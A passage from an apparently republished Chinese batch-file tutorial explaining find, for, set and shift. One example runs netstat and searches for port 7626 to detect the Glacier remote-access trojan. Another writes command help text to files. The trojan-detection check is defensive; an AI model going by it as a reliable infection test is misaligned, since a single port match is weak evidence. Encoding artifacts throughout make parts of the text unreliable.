   這是一個(gè)搜索命令,用來(lái)在文件中搜索特定字符串,通常也作為條件判斷的鋪墊程序(我怎么突然想起了這四個(gè)字?)。這個(gè)命令單獨(dú)使用的情況在批處理中是比較少見(jiàn)的,因?yàn)闆](méi)什么實(shí)際意義。還是借例三來(lái)說(shuō)明: 

@echo off 
netstat -a -n > a.txt 
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" 
del a.txt 
pause & exit 

   先用netstat命令檢查是否有冰河默認(rèn)的端口7626在活動(dòng),并把結(jié)果保存到a.txt中。然后使用type命令列出a.txt中的內(nèi)容,再在列出的內(nèi)容中搜索字符串“7626” ,發(fā)現(xiàn)有的話則提示中了冰河,否則退出???,find命令其實(shí)就這么簡(jiǎn)單,但有一點(diǎn)必須要注意到:如果不使用type命令列出a.txt中的內(nèi)容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必須得給出這個(gè)a.txt的絕對(duì)路徑(我試過(guò)了,find并沒(méi)有默認(rèn)路徑就是當(dāng)前路徑的功能,必須手動(dòng)指定。也許是我錯(cuò)了,歡迎指正)。因?yàn)樵趂ind命令的幫助里有這么一句話:如果沒(méi)有指定路徑,find將搜索鍵入的或者由另一個(gè)命令產(chǎn)生的文字。這里的“另一個(gè)命令”自然就指的type命令了。 

   至于find命令的其他幾個(gè)參數(shù)如v、n、i等,有興趣的朋友自己去研究吧,這已經(jīng)屬于DOS學(xué)習(xí)的內(nèi)容了,這里就不做介紹。關(guān)于find命令和其他命令的一些更精妙的用法(有些簡(jiǎn)直令人叫絕),后續(xù)的教程中將介紹,希望關(guān)注。 

10、for、set、shift 

   為什么把這三個(gè)命令放到一起來(lái)講?原因除了我說(shuō)明外,恐怕誰(shuí)也想不到!很簡(jiǎn)單的一句話:其實(shí)我也不太懂!是的,對(duì)于這兩個(gè)命令,我是從研究Bat.Worm.Muma病毒開(kāi)始學(xué)習(xí)的,時(shí)間過(guò)去了不少,但還是沒(méi)完全搞明白,我怕講出來(lái)連自己都看不懂,我更怕不小心講錯(cuò)了成了罪人。所以我給出一個(gè)腳本去告訴你,如何讓這兩個(gè)命令給自己留一個(gè)初步的印象,其實(shí)也就是這兩個(gè)命令的入門(mén),而并不是說(shuō)如何領(lǐng)會(huì)這兩個(gè)命令。因?yàn)橐I(lǐng)會(huì)如此精妙的兩個(gè)命令(特別是for)談何容易!也許你會(huì)表?yè)P(yáng)我說(shuō)我誠(chéng)實(shí)、不懂就不懂;也許你會(huì)罵我,讓我既然不懂就趕緊滾蛋,不要在這里丟人顯眼;也許你還會(huì)說(shuō)一些別的這樣那樣好聽(tīng)或不好聽(tīng)的話,都隨便你了,即使我不同意你說(shuō)的話,我也會(huì)誓死捍衛(wèi)你說(shuō)話的權(quán)利。看例十一: 

@echo off 
for /? > for.txt 
set /? > set.txt 
shift /? >shift.txt 
exit 

感謝各位的閱讀,以上就是“什么是批處理”的內(nèi)容了,經(jīng)過(guò)本文的學(xué)習(xí)后,相信大家對(duì)什么是批處理這一問(wèn)題有了更深刻的體會(huì),具體使用情況還需要大家實(shí)踐驗(yàn)證。這里是億速云,小編將為大家推送更多相關(guān)知識(shí)點(diǎn)的文章,歡迎關(guān)注!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI